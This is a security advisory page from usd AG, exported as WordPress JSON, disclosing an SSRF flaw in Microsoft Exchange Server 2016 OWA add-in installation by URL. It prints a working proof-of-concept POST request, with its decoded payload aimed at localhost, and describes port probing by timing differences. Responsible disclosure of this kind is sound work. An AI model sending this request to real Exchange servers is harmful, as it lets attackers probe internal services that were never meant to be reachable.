{"id":16723,"date":"2021-07-07T11:23:05","date_gmt":"2021-07-07T09:23:05","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2021-0021\/"},"modified":"2022-05-10T09:35:24","modified_gmt":"2022-05-10T07:35:24","slug":"usd-2021-0021","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0021\/","title":{"rendered":"usd-2021-0021"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2021-0021 | Microsoft Exchange Server OWA<\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2021-0021<\/span><br \/><strong>Affected Product<\/strong><span>: Microsoft Exchange Server\u00a0<\/span><br \/><strong>Affected Version<\/strong><span>: Latest (Exchange Server 2016, Version 15.1 (Build 2242.4))<\/span><br \/><strong>Vulnerability Type<\/strong><span>: CWE-918: Server-Side Request Forgery (SSRF)\u00a0<\/span><br \/><strong>Security Risk<\/strong><span>: Medium<\/span><br \/><strong>Vendor URL<\/strong><span>: <a href=\"https:\/\/www.microsoft.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/microsoft.com\u00a0<\/a><\/span><br \/><strong>Vendor Status<\/strong><span>: Not fixed \/ Disputed<\/span><\/p>\n<p><em>The following behavior was reported to Microsoft in May 2021. After finishing their investigations, Microsoft informed us that this issue does not meet their bar for servicing in a security update. However, they will be fixing it in a future version.<\/em><\/p>\n<p><span><\/span><\/p>\n<h3>Description<\/h3>\n<p>The application can be made to perform requests to other services. From the perspective of those other services it looks like the requests originated from the vulnerable application. By issuing such server-side requests, an attacker may be able to access services that are bound to the local interface of the vulnerable system and would therefore normally not be reachable over the network. In addition, an SSRF attack can provide access to the local network in which the server is located.<\/p>\n<p>The Exchange Server\u2019s OWA component allows to manage Add-Ins. In doing so, users may install Add-ins using multiple mechanisms, including installation by URL. The Exchange Server does not sufficiently validate the provided URL, resulting in SSRF to localhost.<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p>The following request aims to add a new Add-In by URL:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]POST \/owa\/service.svc?action=NewApp\uff06EP=1\uff06ID=-111\uff06AC=1 HTTP\/1.1<br \/>\nHost: mail.example.com<br \/>\nConnection: close<br \/>\nContent-Length: 0<br \/>\nX-OWA-CANARY: dw6RrSW5xkeohY7IO6eScYBwLs2gC9kIomQo6IaQazVuNzOfEdnWOkdAizP_HzwRWj3HoqnG11A.<br \/>\nX-OWA-ActionId: -111<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.85 Safari\/537.36<br \/>\nclient-request-id: 5E41776E617341E7972F258E1E6F4D9B_161977115997179<br \/>\nX-OWA-UrlPostData: %7B%22__type%22%3A%22NewAppDataRequest%3A%23Exchange%22%2C%22Header%22%3A%7B%22__type%22%3A%22JsonRequestHeaders%3A%23Exchange%22%2C%22RequestServerVersion%22%3A%22Exchange2013%22%2C%22TimeZoneContext%22%3A%7B%22__type%22%3A%22TimeZoneContext%3A%23Exchange%22%2C%22TimeZoneDefinition%22%3A%7B%22__type%22%3A%22TimeZoneDefinitionType%3A%23Exchange%22%2C%22Id%22%3A%22W.%20Europe%20Standard%20Time%22%7D%7D%7D%2C%22AppInfo%22%3A%7B%22__type%22%3A%22NewAppInfo%3A%23Exchange%22%2C%22DownloadOnly%22%3Atrue%2C%22Url%22%3A%22http%3A%2F%2Flocalhost%3A81%22%7D%7D<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nAction: NewApp<br \/>\nX-OWA-ActionName: NewAppAction<br \/>\nX-OWA-ClientBuildVersion: 15.1.2176.12<br \/>\nX-OWA-CorrelationId: 5E41776E617341E7972F258E1E6F4D9B_161977115997179<br \/>\nContent-Type: application\/json; charset=UTF-8<br \/>\nX-OWA-ClientBegin: 2021-04-30T08:25:59.971<br \/>\nX-OWA-Attempt: 1<br \/>\nOrigin: https:\/\/mail.example.com<br \/>\nCookie: [REDACTED]<br \/>\n[...]<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<p>The <em>X-OWA-UrlPostData<\/em> header could be decoded to the following:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]{\"__type\":\"NewAppDataRequest:#Exchange\",\"Header\":{\"__type\":\"JsonRequestHeaders:#Exchange\",\"RequestServerVersion\":\"Exchange2013\",\"TimeZoneContext\":{\"__type\":\"TimeZoneContext:#Exchange\",\"TimeZoneDefinition\":{\"__type\":\"TimeZoneDefinitionType:#Exchange\",\"Id\":\"W. Europe Standard Time\"}}},\"AppInfo\":{\"__type\":\"NewAppInfo:#Exchange\",\"DownloadOnly\":true,\"Url\":\"http:\/\/localhost:81\"}}<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<\/p>\n<p>By testing multiple ports at localhost as <em>Url<\/em> parameter, clear timing differences can be observed:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/poc-owa-ssrf-1.png\" title_text=\"poc-owa-ssrf-1\" _builder_version=\"4.16\" _module_preset=\"default\" custom_margin=\"27px||43px||false|false\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p>It is recommended to evaluate the need to make server-side requests. If server-side requests are absolutely necessary, the corresponding function should be restricted by a whitelisting approach.<\/p>\n<h3><\/h3>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/918.html\" target=\"_blank\" rel=\"noopener\">https:\/\/cwe.mitre.org\/data\/definitions\/918.html<\/a><\/li>\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/Server_Side_Request_Forgery\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/attacks\/Server_Side_Request_Forgery<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2021-05-03: This vulnerability was identified by Lauritz Holtmann.<\/li>\n<li>2021-05-07: Advisory submitted to vendor via e-mail.<\/li>\n<li>2021-05-25: Vendor states that they will be fixing this issue in a future version.<\/li>\n<li>2021-06-30: Security advisory released by usd AG.<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p>This security vulnerability was found by Lauritz Holtmann of usd AG.<\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2021-0021 | Microsoft Exchange Server OWA Advisory ID: usd-2021-0021Affected Product: Microsoft Exchange Server\u00a0Affected Version: Latest (Exchange Server 2016, Version 15.1 (Build 2242.4))Vulnerability Type: CWE-918: Server-Side Request Forgery (SSRF)\u00a0Security Risk: MediumVendor URL: https:\/\/microsoft.com\u00a0Vendor Status: Not fixed \/ Disputed The following behavior was reported to Microsoft in May 2021. After finishing their investigations, Microsoft informed us that [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16723","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16723","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16723"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16723\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}